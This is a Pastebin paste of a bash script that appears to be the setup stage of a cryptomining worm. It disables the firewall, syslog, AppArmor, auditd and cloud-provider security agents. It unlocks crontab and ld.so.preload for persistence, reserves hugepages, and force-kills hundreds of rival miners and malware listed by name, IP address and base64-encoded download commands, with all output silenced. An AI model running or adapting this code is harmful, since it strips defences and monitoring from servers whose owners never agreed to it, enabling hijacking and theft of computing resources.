API tools faq
paste
Guest User

Untitled

a guest
Feb 15th, 2021
292
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 106.67 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/env bash
  2.  
  3. open(){
  4. ulimit -Hn 999999;ulimit -Sn 99999;ulimit -s 999999;ulimit -n 999999;ulimit -u 999999;ulimit -s 999999; ulimit -n 999999; ulimit -u 999999
  5. sysctl -w vm.nr_hugepages=128
  6. echo 128 > /proc/sys/vm/nr_hugepages
  7. ufw disable
  8. chmod +700 /tmp/lok
  9. chattr -iua /var/tmp/
  10. chattr -iua /tmp/
  11. chattr -iau /tmp/lok
  12. chattr -ia /tmp/svc*
  13. chattr -ia /tmp/newsvc.sh
  14. chattr -ia /etc/trace
  15. chattr -ia /etc/svc*
  16. chattr -ia /etc/phpupdate
  17. chattr -ia /etc/phpguard
  18. chattr -ia /etc/newsvc.sh
  19. chattr -ia /etc/newdat.sh
  20. chattr -ia /etc/networkmanager
  21. chattr -ia /etc/crontab
  22. chattr -ia /.Xll/xr
  23. chattr -i /usr/lib/systemd/systemd-update-daily
  24. chattr -i /tmp/redis2
  25. chattr -i /tmp/kdevtmpfsi
  26. chattr -i /etc/ld.so.preload
  27. chattr -R -ia /var/spool/cron/crontabs
  28. chattr -R -ia /var/spool/cron
  29. chattr -R -ia /etc/cron.d
  30. }
  31. open > /dev/null 2>&1
  32. local_kill_sus1(){
  33. ##### KILL AND REMOVE SUSPICIOUS ONE #####
  34. ##### DISABLE UNUSED PROGRAMS #####
  35. #==# SERVICE #==#
  36. service syslog stop
  37. service hostguard.service stop
  38. service hostguard stop
  39. service crond start
  40. service cron start
  41. service cloudResetPwdUpdateAgent.service stop
  42. service cloudResetPwdUpdateAgent stop
  43. service bcm-agent stop
  44. service apparmor teardown
  45. service apparmor stop
  46. service aliyun.service stop
  47. #==# SYSTEMCTL #==#
  48. systemctl stop apparmor
  49. systemctl stop aliyun.service
  50. systemctl start rc-local
  51. systemctl is-active --quiet syslog
  52. systemctl is-active --quiet hostguard
  53. systemctl is-active --quiet crond
  54. systemctl is-active --quiet cron
  55. systemctl is-active --quiet cloudResetPwdUpdateAgent
  56. systemctl enable crond.service
  57. systemctl enable cron.service
  58. systemctl disable syslog
  59. systemctl disable hostguard.service
  60. systemctl disable hostguard
  61. systemctl disable cloudResetPwdUpdateAgent.service
  62. systemctl disable cloudResetPwdUpdateAgent
  63. systemctl disable apparmor
  64. systemctl disable aliyun.service
  65. sysctl -w vm.nr_hugepages="$(nproc --all)"
  66. #==# UFW #==#
  67. ufw disable
  68. }
  69. local_kill_sus1 > /dev/null 2>&1
  70. local_kill_sus2(){
  71. ##### KILL AND REMOVE SUSPICIOUS TWO #####
  72. #==# PKILL KILLING #==#
  73. pkill -f zigw
  74. pkill -f zer0day.ru
  75. pkill -f ysaydh
  76. pkill -f xmrigMiner
  77. pkill -f xmrigDaemon
  78. pkill -f xmrig-notls
  79. pkill -f xmrig-cpu
  80. pkill -f xmrig
  81. pkill -f xmr-stak
  82. pkill -f xm64
  83. pkill -f xm32
  84. pkill -f xig
  85. pkill -f xdd.conf
  86. pkill -f xd.json
  87. pkill -f wnTKYg
  88. pkill -f wc.conf
  89. pkill -f watchbog
  90. pkill -f w.conf
  91. pkill -f vmlinuz
  92. pkill -f ubyx
  93. pkill -f tmp/wc.conf
  94. pkill -f test.conf
  95. pkill -f tes.conf
  96. pkill -f sysxlj
  97. pkill -f sysupdate
  98. pkill -f systemctI
  99. pkill -f sysguard
  100. pkill -f swo
  101. pkill -f sustse
  102. pkill -f sustes
  103. pkill -f susss
  104. pkill -f suppoie
  105. pkill -f stratum
  106. pkill -f sssus
  107. pkill -f sourplum
  108. pkill -f sic
  109. pkill -f screen
  110. pkill -f salt-minions*
  111. pkill -f salt-minions
  112. pkill -f ririg
  113. pkill -f r1x
  114. pkill -f qW3xT.2
  115. pkill -f pythno
  116. pkill -f psping
  117. pkill -f pscf
  118. pkill -f ps
  119. pkill -f pro.sh
  120. pkill -f polkitd
  121. pkill -f phpupdate
  122. pkill -f phpguard
  123. pkill -f performedl
  124. pkill -f pastebin
  125. pkill -f nullcrew
  126. pkill -f nopxi
  127. pkill -f nginxk
  128. pkill -f networkservics
  129. pkill -f networkservice
  130. pkill -f networkmanager
  131. pkill -f netdns
  132. pkill -f nanoWatch
  133. pkill -f mstxmr
  134. pkill -f mixnerdx
  135. pkill -f minexmr
  136. pkill -f minergate
  137. pkill -f minerd
  138. pkill -f mgwsl
  139. pkill -f lx26
  140. pkill -f logo9.jpg
  141. pkill -f logo4.jpg
  142. pkill -f logo0.jpg
  143. pkill -f log_rot
  144. pkill -f libapache
  145. pkill -f ld-linux-x86-64
  146. pkill -f kxjd
  147. pkill -f kworkerdss
  148. pkill -f kworkerds
  149. pkill -f kworker34
  150. pkill -f kw.sh
  151. pkill -f kinsing*
  152. pkill -f kinsing
  153. pkill -f kieuanilam.me
  154. pkill -f kdevtmpfsi*
  155. pkill -f kdevtmpfsi
  156. pkill -f jweri
  157. pkill -f jvs
  158. pkill -f jourxlv
  159. pkill -f javs
  160. pkill -f javaUpdates
  161. pkill -f irqbnc1
  162. pkill -f irqbalance
  163. pkill -f irqbalanc1
  164. pkill -f irqba5xnc1
  165. pkill -f irqba2anc1
  166. pkill -f ir29xc1
  167. pkill -f init12.cfg
  168. pkill -f init10.cfg
  169. pkill -f icb5o
  170. pkill -f i586
  171. pkill -f gddr
  172. pkill -f exin
  173. pkill -f donns
  174. pkill -f disk_genius
  175. pkill -f devtools
  176. pkill -f devtool
  177. pkill -f deamon
  178. pkill -f ddg.2011
  179. pkill -f dbus-daemon--system
  180. pkill -f cryptonight
  181. pkill -f crypto-pool
  182. pkill -f crond64
  183. pkill -f cpu.c
  184. pkill -f conns
  185. pkill -f conn.sh
  186. pkill -f bonns
  187. pkill -f bonn.sh
  188. pkill -f biosetjenkins
  189. pkill -f bashx
  190. pkill -f bashh
  191. pkill -f bashg
  192. pkill -f bashf
  193. pkill -f bashe
  194. pkill -f askdljlqw
  195. pkill -f apachiii
  196. pkill -f apaceha
  197. pkill -f XbashY
  198. pkill -f XJnRj
  199. pkill -f WmiPrwSe
  200. pkill -f Salt-minions*
  201. pkill -f Salt-minions
  202. pkill -f NXLAi
  203. pkill -f Loopback
  204. pkill -f Kinsing*
  205. pkill -f Kinsing
  206. pkill -f Kdevtmpfsi*
  207. pkill -f Kdevtmpfsi
  208. pkill -f JnKihGjn
  209. pkill -f Guard.sh
  210. pkill -f Duck.sh
  211. pkill -f BI5zj
  212. pkill -f AnXqV.yam
  213. pkill -f 95.142.40.81
  214. pkill -f 192.99.142.248
  215. pkill -f 192.99.142.232
  216. pkill -f 185.222.210.59
  217. pkill -f 185.193.127.115
  218. pkill -f 158.69.133.18
  219. pkill -f 121.42.151.137
  220. pkill -f /wl.conf
  221. pkill -f /var/tmp/qq
  222. pkill -f /var/tmp/ntpd
  223. pkill -f /var/tmp/ntp
  224. pkill -f /var/tmp/java-c
  225. pkill -f /var/tmp/java
  226. pkill -f /var/tmp/aa
  227. pkill -f /usr/bin/.sshd
  228. pkill -f /tmp/qq
  229. pkill -f /tmp/init12.cfg
  230. pkill -f /tmp/
  231. pkill -f .xm
  232. pkill -9 zjgw
  233. pkill -9 yam
  234. pkill -9 xs
  235. pkill -9 xr
  236. pkill -9 xnetd
  237. pkill -9 xmrig64
  238. pkill -9 xmrig
  239. pkill -9 xmp
  240. pkill -9 xm64
  241. pkill -9 xm32
  242. pkill -9 xm
  243. pkill -9 xig
  244. pkill -9 xds
  245. pkill -9 xd
  246. pkill -9 wnTKYg
  247. pkill -9 wipefs
  248. pkill -9 watchdogs
  249. pkill -9 watchbog
  250. pkill -9 system.usermn
  251. pkill -9 syn
  252. pkill -9 sshd2
  253. pkill -9 smh64
  254. pkill -9 skrt
  255. pkill -9 sic
  256. pkill -9 screen
  257. pkill -9 ps
  258. pkill -9 png
  259. pkill -9 pc
  260. pkill -9 node
  261. pkill -9 networkservice
  262. pkill -9 networkser+
  263. pkill -9 minerd
  264. pkill -9 ld-linux-x86-64
  265. pkill -9 kthreadd
  266. pkill -9 kdevtmpfsi
  267. pkill -9 hxx
  268. pkill -9 httpd.conf
  269. pkill -9 ddg*
  270. pkill -9 crondb
  271. pkill -9 config.sh
  272. pkill -9 config.json
  273. pkill -9 cc
  274. pkill -9 auditd
  275. pkill -9 aliyun-service
  276. pkill -9 Word
  277. pkill -9 SSHer
  278. pkill -9 56545
  279. pkill -9 .xm.log
  280. pkill -9 .syslog
  281. pkill -9 .dhpcd
  282. pkill -9 -f update.sh
  283. pkill -9 -f sysupdate
  284. pkill -9 -f sysguard
  285. pkill -9 -f networkservice
  286. pkill -9 " "
  287. pkill -9 " "
  288. #pkill -f acpid
  289. #pkill -9 crond
  290. }
  291. local_kill_sus2 > /dev/null 2>&1
  292. local_kill_sus3(){
  293. ##### KILL AND REMOVE SUSPICIOUS THREE #####
  294. #==# PS EF KILLING #==#
  295. ps -ef | grep -v grep | grep "[x]mr" | awk '{print $2}'| xargs -I % kill -9 %
  296. ps -ef | grep -v grep | grep "[x]ig" | awk '{print $2}'| xargs -I % kill -9 %
  297. ps -ef | grep -v grep | grep "[w]nTKYg" | awk '{print $2}'| xargs -I % kill -9 %
  298. ps -ef | grep -v grep | grep "[t]hisxxs" | awk '{print $2}' | xargs -I % kill -9 %
  299. ps -ef | grep -v grep | grep "[t]00ls.ru" | awk '{print $2}'| xargs -I % kill -9 %
  300. ps -ef | grep -v grep | grep "[s]ystemctI" | awk '{print $2}'| xargs -I % kill -9 %
  301. ps -ef | grep -v grep | grep "[s]ustse" | awk '{print $2}'| xargs -I % kill -9 %
  302. ps -ef | grep -v grep | grep "[s]ustes" | awk '{print $2}'| xargs -I % kill -9 %
  303. ps -ef | grep -v grep | grep "[s]alt-minions*" | awk '{print $2}'| xargs -I % kill -9 %
  304. ps -ef | grep -v grep | grep "[s]alt-minions" | awk '{print $2}'| xargs -I % kill -9 %
  305. ps -ef | grep -v grep | grep "[q]W3xT" | awk '{print $2}'| xargs -I % kill -9 %
  306. ps -ef | grep -v grep | grep "[n]anopool.org" | awk '{print $2}'| xargs -I % kill -9 %
  307. ps -ef | grep -v grep | grep "[m]igrations" | awk '{print $2}'| xargs -I % kill -9 %
  308. ps -ef | grep -v grep | grep "[k]workerds" | awk '{print $2}'| xargs -I % kill -9 %
  309. ps -ef | grep -v grep | grep "[k]insing*" | awk '{print $2}'| xargs -I % kill -9 %
  310. ps -ef | grep -v grep | grep "[k]insing" | awk '{print $2}'| xargs -I % kill -9 %
  311. ps -ef | grep -v grep | grep "[k]devtmpfsi*" | awk '{print $2}'| xargs -I % kill -9 %
  312. ps -ef | grep -v grep | grep "[k]devtmpfsi" | awk '{print $2}'| xargs -I % kill -9 %
  313. ps -ef | grep -v grep | grep "[h]wlh3wlh44lh" | awk '{print $2}'| xargs -I % kill -9 %
  314. ps -ef | grep -v grep | grep "[h]ttpdz" | awk '{print $2}'| xargs -I % kill -9 %
  315. ps -ef | grep -v grep | grep "[h]ashvault.pro" | awk '{print $2}'| xargs -I % kill -9 %
  316. ps -ef | grep -v grep | grep "[h]ashfish" | awk '{print $2}'| xargs -I % kill -9 %
  317. ps -ef | grep -v grep | grep "[g]et.bi-chi.com" | awk '{print $2}'| xargs -I % kill -9 %
  318. ps -ef | grep -v grep | grep "[d]dgs" | awk '{print $2}'| xargs -I % kill -9 %
  319. ps -ef | grep -v grep | grep "[d]blaunchs" | awk '{print $2}'| xargs -I % kill -9 %
  320. ps -ef | grep -v grep | grep "[c]onflue" | grep "sh rc9$" | awk '{print $2}'| xargs -I % kill -9 %
  321. ps -ef | grep -v grep | grep "[c]onflue" | grep "/bin/bash$" | awk '{print $2}'| xargs -I % kill -9 %
  322. ps -ef | grep -v grep | grep "[a]xgt" | awk '{print $2}'| xargs -I % kill -9 %
  323. ps -ef | grep -v grep | grep "[S]alt-minions*" | awk '{print $2}'| xargs -I % kill -9 %
  324. ps -ef | grep -v grep | grep "[S]alt-minions" | awk '{print $2}'| xargs -I % kill -9 %
  325. ps -ef | grep -v grep | grep "[K]insing*" | awk '{print $2}'| xargs -I % kill -9 %
  326. ps -ef | grep -v grep | grep "[K]insing" | awk '{print $2}'| xargs -I % kill -9 %
  327. ps -ef | grep -v grep | grep "[K]devtmpfsi*" | awk '{print $2}'| xargs -I % kill -9 %
  328. ps -ef | grep -v grep | grep "[K]devtmpfsi" | awk '{print $2}'| xargs -I % kill -9 %
  329. ps -ef | grep -v grep | grep "[C]ircle_MI" | awk '{print $2}'| xargs -I % kill -9 %
  330. ps -ef | grep -v grep | grep "[6]Tx3Wq" | awk '{print $2}'| xargs -I % kill -9 %
  331. ps -ef | grep -v grep | grep "[/]usr/bin/bsd-port" | awk '{print $2}'| xargs -I % kill -9 %
  332. ps -ef | grep -v grep | grep "[/]usr/bin/.sshd" | awk '{print $2}'| xargs -I % kill -9 %
  333. ps -ef | grep -v grep | grep "[/]tmp/devtool" | awk '{print $2}'| xargs -I % kill -9 %
  334. ps -ef | grep -v grep | grep "[/]boot/vmlinuz" | awk '{print $2}'| xargs -I % kill -9 %
  335. #==# PS FE KILLING #==#
  336. ps -fe | grep -e '[d]bused' | grep -v grep | xargs -I % kill -9 %
  337. ps -fe | grep '[k]workerdss\|kworkerds32' | grep '[x]dd.conf' | grep -v grep | xargs -I % kill -9 %
  338. ps -fe | grep "[s]alt-minions*" | grep -v grep | xargs -I % kill -9 %
  339. ps -fe | grep "[s]alt-minions" | grep -v grep | xargs -I % kill -9 %
  340. ps -fe | grep "[p]nscan" | grep -v grep | xargs -I % kill -9 %
  341. ps -fe | grep "[k]insing*" | grep -v grep | xargs -I % kill -9 %
  342. ps -fe | grep "[k]insing" | grep -v grep | xargs -I % kill -9 %
  343. ps -fe | grep "[k]devtmpfsi*" | grep -v grep | xargs -I % kill -9 %
  344. ps -fe | grep "[k]devtmpfsi" | grep -v grep | xargs -I % kill -9 %
  345. ps -fe | grep "[S]alt-minions*" | grep -v grep | xargs -I % kill -9 %
  346. ps -fe | grep "[S]alt-minions" | grep -v grep | xargs -I % kill -9 %
  347. ps -fe | grep "[K]insing*" | grep -v grep | xargs -I % kill -9 %
  348. ps -fe | grep "[K]insing" | grep -v grep | xargs -I % kill -9 %
  349. ps -fe | grep "[K]devtmpfsi*" | grep -v grep | xargs -I % kill -9 %
  350. ps -fe | grep "[K]devtmpfsi" | grep -v grep | xargs -I % kill -9 %
  351. #==# PS E KILLING #==#
  352. ps -e | grep -v grep | grep "[s]alt-minions*"|awk '{print $1}' | xargs -I % kill -9 %
  353. ps -e | grep -v grep | grep "[s]alt-minions"|awk '{print $1}' | xargs -I % kill -9 %
  354. ps -e | grep -v grep | grep "[k]insing*"|awk '{print $1}' | xargs -I % kill -9 %
  355. ps -e | grep -v grep | grep "[k]insing"|awk '{print $1}' | xargs -I % kill -9 %
  356. ps -e | grep -v grep | grep "[k]erberods"|awk '{print $1}' | xargs -I % kill -9 %
  357. ps -e | grep -v grep | grep "[k]devtmpfsi*"|awk '{print $1}' | xargs -I % kill -9 %
  358. ps -e | grep -v grep | grep "[k]devtmpfsi"|awk '{print $1}' | xargs -I % kill -9 %
  359. ps -e | grep -v grep | grep "[S]alt-minions*"|awk '{print $1}' | xargs -I % kill -9 %
  360. ps -e | grep -v grep | grep "[S]alt-minions"|awk '{print $1}' | xargs -I % kill -9 %
  361. ps -e | grep -v grep | grep "[K]insing*"|awk '{print $1}' | xargs -I % kill -9 %
  362. ps -e | grep -v grep | grep "[K]insing"|awk '{print $1}' | xargs -I % kill -9 %
  363. ps -e | grep -v grep | grep "[K]devtmpfsi*"|awk '{print $1}' | xargs -I % kill -9 %
  364. ps -e | grep -v grep | grep "[K]devtmpfsi"|awk '{print $1}' | xargs -I % kill -9 %
  365. #==# PS AUX KILLING #==#
  366. ps aux | grep -v grep | grep -v "-" | grep -v "_" | awk 'length($11)>19{print $2}' | xargs -I % kill -9 %
  367. ps aux | grep -v grep | grep -e "[j]ava_c" | awk '{print $2}' | xargs -I % kill -9 %
  368. ps aux | grep -v grep | grep "[z]XcDajSs" | awk '{print $2}' | xargs -I % kill -9 %
  369. ps aux | grep -v grep | grep "[x]r" | awk '{print $2}' | xargs -I % kill -9 %
  370. ps aux | grep -v grep | grep "[w]nTKYg|2t3ik|qW3xT.2|ddg" | awk '{print $2}' | xargs -I % kill -9 %
  371. ps aux | grep -v grep | grep "[w]atchdogs" | awk '{print $2}' | xargs -I % kill -9 %
  372. ps aux | grep -v grep | grep "[w]atchd0g" | awk '{print $2}' | xargs -I % kill -9 %
  373. ps aux | grep -v grep | grep "[v]oltuned" | awk '{print $2}' | xargs -I % kill -9 %
  374. ps aux | grep -v grep | grep "[u]iZvwxG8" | awk '{print $2}' | xargs -I % kill -9 %
  375. ps aux | grep -v grep | grep "[t]2tKrCSZ" | awk '{print $2}' | xargs -I % kill -9 %
  376. ps aux | grep -v grep | grep "[s]ystemten" | awk '{print $2}' | xargs -I % kill -9 %
  377. ps aux | grep -v grep | grep "[s]ync_supers" | cut -c 9-15 | xargs -I % kill -9 %
  378. ps aux | grep -v grep | grep "[s]ustse3" | awk '{print $2}' | xargs -I % kill -9 %
  379. ps aux | grep -v grep | grep "[s]ustse" | awk '{print $2}' | xargs -I % kill -9 %
  380. ps aux | grep -v grep | grep "[s]tratum" |awk '{print $2}'| xargs -I % kill -9 %
  381. ps aux | grep -v grep | grep "[s]h] <" | awk '{print $2}' | xargs -I % kill -9 %
  382. ps aux | grep -v grep | grep "[s]creen" | awk '{print $2}' | xargs -I % kill -9 %
  383. ps aux | grep -v grep | grep "[s]alt-minions*" | awk '{print $2}' | xargs -I % kill -9 %
  384. ps aux | grep -v grep | grep "[s]alt-minions" | awk '{print $2}' | xargs -I % kill -9 %
  385. ps aux | grep -v grep | grep "[r]sync" | awk '{print $2}' | xargs -I % kill -9 %
  386. ps aux | grep -v grep | grep "[r]kebbwgqpl4npmm" | awk '{print $2}' | xargs -I % kill -9 %
  387. ps aux | grep -v grep | grep "[r]edis2" | awk '{print $2}' | xargs -I % kill -9 %
  388. ps aux | grep -v grep | grep "[p]ng" | awk '{print $2}' | xargs -I % kill -9 %
  389. ps aux | grep -v grep | grep "[p]c" | awk '{print $2}' | xargs -I % kill -9 %
  390. ps aux | grep -v grep | grep "[n]ullcrew" | grep "wget" | awk '{print $2}' | xargs -I % kill -9 %
  391. ps aux | grep -v grep | grep "[n]ullcrew" | grep "curl" | awk '{print $2}' | xargs -I % kill -9 %
  392. ps aux | grep -v grep | grep "[n]qscheduler" | awk '{print $2}' | xargs -I % kill -9 %
  393. ps aux | grep -v grep | grep "[n]etns" | awk '{print $2}' | xargs -I % kill -9 %
  394. ps aux | grep -v grep | grep "[n]etdns" | awk '{print $2}' | xargs -I % kill -9 %
  395. ps aux | grep -v grep | grep "[n]MrfmnRa" | awk '{print $2}' | xargs -I % kill -9 %
  396. ps aux | grep -v grep | grep "[m]r.sh" | grep "wget" | awk '{print $2}' | xargs -I % kill -9 %
  397. ps aux | grep -v grep | grep "[m]r.sh" | grep "curl" | awk '{print $2}' | xargs -I % kill -9 %
  398. ps aux | grep -v grep | grep "[m]iner.sh" | grep "wget" | awk '{print $2}' | xargs -I % kill -9 %
  399. ps aux | grep -v grep | grep "[m]iner.sh" | grep "curl" | awk '{print $2}' | xargs -I % kill -9 %
  400. ps aux | grep -v grep | grep "[m]asscan" | awk '{print $2}' | xargs -I % kill -9 %
  401. ps aux | grep -v grep | grep "[l]uk-cpu" | grep "wget" | awk '{print $2}' | xargs -I % kill -9 %
  402. ps aux | grep -v grep | grep "[l]uk-cpu" | grep "curl" | awk '{print $2}' | xargs -I % kill -9 %
  403. ps aux | grep -v grep | grep "[l]ogo9.jpg" | grep "wget" | awk '{print $2}' | xargs -I % kill -9 %
  404. ps aux | grep -v grep | grep "[l]ogo9.jpg" | grep "curl" | awk '{print $2}' | xargs -I % kill -9 %
  405. ps aux | grep -v grep | grep "[l]og_" | awk '{print $2}' | xargs -I % kill -9 %
  406. ps aux | grep -v grep | grep "[k]worker -c[\]" | awk '{print $2}' | xargs -I % kill -9 %
  407. ps aux | grep -v grep | grep "[k]throtlds" | awk '{print $2}' | xargs -I % kill -9 %
  408. ps aux | grep -v grep | grep "[k]softirqds" | awk '{print $2}' | xargs -I % kill -9 %
  409. ps aux | grep -v grep | grep "[k]logd" | awk '{print $2}' | xargs -I % kill -9 %
  410. ps aux | grep -v grep | grep "[k]insing*" | awk '{print $2}' | xargs -I % kill -9 %
  411. ps aux | grep -v grep | grep "[k]insing" | awk '{print $2}' | xargs -I % kill -9 %
  412. ps aux | grep -v grep | grep "[k]devtmpfsi*" | awk '{print $2}' | xargs -I % kill -9 %
  413. ps aux | grep -v grep | grep "[k]devtmpfsi" | awk '{print $2}' | xargs -I % kill -9 %
  414. ps aux | grep -v grep | grep "[j]avaupDates" | awk '{print $2}' | xargs -I % kill -9 %
  415. ps aux | grep -v grep | grep "[j]2.conf" | awk '{print $2}' | xargs -I % kill -9 %
  416. ps aux | grep -v grep | grep "[i]4b503a52cc5" | awk '{print $2}' | xargs -I % kill -9 %
  417. ps aux | grep -v grep | grep "[h]ttp_0xCC033" | awk '{print $2}' | xargs -I % kill -9 %
  418. ps aux | grep -v grep | grep "[h]ttp_0xCC032" | awk '{print $2}' | xargs -I % kill -9 %
  419. ps aux | grep -v grep | grep "[h]ttp_0xCC031" | awk '{print $2}' | xargs -I % kill -9 %
  420. ps aux | grep -v grep | grep "[h]ttp_0xCC030" | awk '{print $2}' | xargs -I % kill -9 %
  421. ps aux | grep -v grep | grep "[h]earme" | awk '{print $2}' | xargs -I % kill -9 %
  422. ps aux | grep -v grep | grep "[h]e.sh" | grep "wget" | awk '{print $2}' | xargs -I % kill -9 %
  423. ps aux | grep -v grep | grep "[h]e.sh" | grep "curl" | awk '{print $2}' | xargs -I % kill -9 %
  424. ps aux | grep -v grep | grep "[h]ahwNEdB" | awk '{print $2}' | xargs -I % kill -9 %
  425. ps aux | grep -v grep | grep "[g]itee.com" | awk '{print $2}' | xargs -I % kill -9 %
  426. ps aux | grep -v grep | grep "[f]icov" | grep "wget" | awk '{print $2}' | xargs -I % kill -9 %
  427. ps aux | grep -v grep | grep "[f]icov" | grep "curl" | awk '{print $2}' | xargs -I % kill -9 %
  428. ps aux | grep -v grep | grep "[d]ocker -H" | awk '{print $2}' | xargs -I % kill -9 %
  429. ps aux | grep -v grep | grep "[d]gqtrcst23rtdi3ldqk322j2" | awk '{print $2}' | xargs -I % kill -9 %
  430. ps aux | grep -v grep | grep "[d]arwin" | awk '{print $2}' | xargs -I % kill -9 %
  431. ps aux | grep -v grep | grep "[c]url -sL http://205.185.113.35" | awk '{print $2}' | xargs -I % kill -9 %
  432. ps aux | grep -v grep | grep "[c]run" | awk '{print $2}' | xargs -I % kill -9 %
  433. ps aux | grep -v grep | grep "[c]r5.sh" | grep "wget" | awk '{print $2}' | xargs -I % kill -9 %
  434. ps aux | grep -v grep | grep "[c]r5.sh" | grep "curl" | awk '{print $2}' | xargs -I % kill -9 %
  435. ps aux | grep -v grep | grep "[c]puset" | cut -c 9-15 | xargs -I % kill -9 %
  436. ps aux | grep -v grep | grep "[c]c" | awk '{print $2}' | xargs -I % kill -9 %
  437. ps aux | grep -v grep | grep "[b]cm-agent" | awk '{print $2}' | xargs -I % kill -9 %
  438. ps aux | grep -v grep | grep "[b]bb" | awk '{print $2}' | xargs -I % kill -9 %
  439. ps aux | grep -v grep | grep "[a]ziplcr72qjhzvin" | awk '{print $2}' | xargs -I % kill -9 %
  440. ps aux | grep -v grep | grep "[a]egis" | awk '{print $2}' | xargs -I % kill -9 %
  441. ps aux | grep -v grep | grep "[a]GTSGJJp" | awk '{print $2}' | xargs -I % kill -9 %
  442. ps aux | grep -v grep | grep "[]x]" | awk '{print $2}' | xargs -I % kill -9 %
  443. ps aux | grep -v grep | grep "[\][^" | awk '{print $2}' | xargs -I % kill -9 %
  444. ps aux | grep -v grep | grep "[\][]" | awk '{print $2}' | xargs -I % kill -9 %
  445. ps aux | grep -v grep | grep "[Y]un" | awk '{print $2}' | xargs -I % kill -9 %
  446. ps aux | grep -v grep | grep "[Y]3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo" | awk '{print $2}' | xargs -I % kill -9 %
  447. ps aux | grep -v grep | grep "[S]alt-minions*" | awk '{print $2}' | xargs -I % kill -9 %
  448. ps aux | grep -v grep | grep "[S]alt-minions" | awk '{print $2}' | xargs -I % kill -9 %
  449. ps aux | grep -v grep | grep "[P]uNY5tm2" | awk '{print $2}' | xargs -I % kill -9 %
  450. ps aux | grep -v grep | grep "[K]insing*" | awk '{print $2}' | xargs -I % kill -9 %
  451. ps aux | grep -v grep | grep "[K]insing" | awk '{print $2}' | xargs -I % kill -9 %
  452. ps aux | grep -v grep | grep "[K]devtmpfsi*" | awk '{print $2}' | xargs -I % kill -9 %
  453. ps aux | grep -v grep | grep "[K]devtmpfsi" | awk '{print $2}' | xargs -I % kill -9 %
  454. ps aux | grep -v grep | grep "[K]CBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA" | awk '{print $2}' | xargs -I % kill -9 %
  455. ps aux | grep -v grep | grep "[I]OFoqIgyC0zmf2UR" | awk '{print $2}' | xargs -I % kill -9 %
  456. ps aux | grep -v grep | grep "[I]0r8Jyyt" | awk '{print $2}' | xargs -I % kill -9 %
  457. ps aux | grep -v grep | grep "[H]iPxCJRS" | awk '{print $2}' | xargs -I % kill -9 %
  458. ps aux | grep -v grep | grep "[H]D7fcBgg" | awk '{print $2}' | xargs -I % kill -9 %
  459. ps aux | grep -v grep | grep "[C]vKzzZLs" | awk '{print $2}' | xargs -I % kill -9 %
  460. ps aux | grep -v grep | grep "[C]nzFVPLF" | awk '{print $2}' | xargs -I % kill -9 %
  461. ps aux | grep -v grep | grep "[C]4iLM4L" | awk '{print $2}' | xargs -I % kill -9 %
  462. ps aux | grep -v grep | grep "[B]twXn5qH" | awk '{print $2}' | xargs -I % kill -9 %
  463. ps aux | grep -v grep | grep "[A]kMK4A2" | awk '{print $2}' | xargs -I % kill -9 %
  464. ps aux | grep -v grep | grep "[A]gdgACUD" | awk '{print $2}' | xargs -I % kill -9 %
  465. ps aux | grep -v grep | grep "[A]J2AkKe" | awk '{print $2}' | xargs -I % kill -9 %
  466. ps aux | grep -v grep | grep "[:]5555" | awk '{print $2}' | xargs -I % kill -9 %
  467. ps aux | grep -v grep | grep "[8]9.35.39.78" | awk '{print $2}' | xargs -I % kill -9 %
  468. ps aux | grep -v grep | grep "[8]6s.jpg" | awk '{print $2}' | xargs -I % kill -9 %
  469. ps aux | grep -v grep | grep "[8]3.220.169.247" | awk '{print $2}' | xargs -I % kill -9 %
  470. ps aux | grep -v grep | grep "[5]1.38.203.146" | awk '{print $2}' | xargs -I % kill -9 %
  471. ps aux | grep -v grep | grep "[5]1.38.191.178" | awk '{print $2}' | xargs -I % kill -9 %
  472. ps aux | grep -v grep | grep "[5]1.15.56.161" | awk '{print $2}' | xargs -I % kill -9 %
  473. ps aux | grep -v grep | grep "[4]5.76.122.92" | awk '{print $2}' | xargs -I % kill -9 %
  474. ps aux | grep -v grep | grep "[4]4ct7udt0patws3agkdfqnjm" | awk '{print $2}' | xargs -I % kill -9 %
  475. ps aux | grep -v grep | grep "[4]444" | awk '{print $2}' | xargs -I % kill -9 %
  476. ps aux | grep -v grep | grep "[3]lmigMo" | awk '{print $2}' | xargs -I % kill -9 %
  477. ps aux | grep -v grep | grep "[3]XEzey2T" | awk '{print $2}' | xargs -I % kill -9 %
  478. ps aux | grep -v grep | grep "[2]mr.sh" | grep "wget" | awk '{print $2}' | xargs -I % kill -9 %
  479. ps aux | grep -v grep | grep "[2]mr.sh" | grep "curl" | awk '{print $2}' | xargs -I % kill -9 %
  480. ps aux | grep -v grep | grep "[2]g0uv7npuhrlatd" | awk '{print $2}' | xargs -I % kill -9 %
  481. ps aux | grep -v grep | grep "[2]fhtu70teuhtoh78jc5s" | awk '{print $2}' | xargs -I % kill -9 %
  482. ps aux | grep -v grep | grep "[1]76.31.6.16" | awk '{print $2}' | xargs -I % kill -9 %
  483. ps aux | grep -v grep | grep "[1]58.69.133.18" | awk '{print $2}' | xargs -I % kill -9 %
  484. ps aux | grep -v grep | grep "[1]44.217.45.45" | awk '{print $2}' | xargs -I % kill -9 %
  485. ps aux | grep -v grep | grep "[1]09.234.36.173" | awk '{print $2}' | xargs -I % kill -9 %
  486. ps aux | grep -v grep | grep "[1]07.174.47.181" | awk '{print $2}' | xargs -I % kill -9 %
  487. ps aux | grep -v grep | grep "[1]07.174.47.156" | awk '{print $2}' | xargs -I % kill -9 %
  488. ps aux | grep -v grep | grep "[1]04.248.4.162" | awk '{print $2}' | xargs -I % kill -9 %
  489. ps aux | grep -v grep | grep "[0]kwti6ut420t" | awk '{print $2}' | xargs -I % kill -9 %
  490. ps aux | grep -v grep | grep "[/]tmp/zmcat" | awk '{print $2}' | xargs -I % kill -9 %
  491. ps aux | grep -v grep | grep "[/]tmp/udevd" | awk '{print $2}' | xargs -I % kill -9 %
  492. ps aux | grep -v grep | grep "[/]tmp/pprt" | awk '{print $2}' | xargs -I % kill -9 %
  493. ps aux | grep -v grep | grep "[/]tmp/ppol" | awk '{print $2}' | xargs -I % kill -9 %
  494. ps aux | grep -v grep | grep "[/]tmp/l.sh" | awk '{print $2}' | xargs -I % kill -9 %
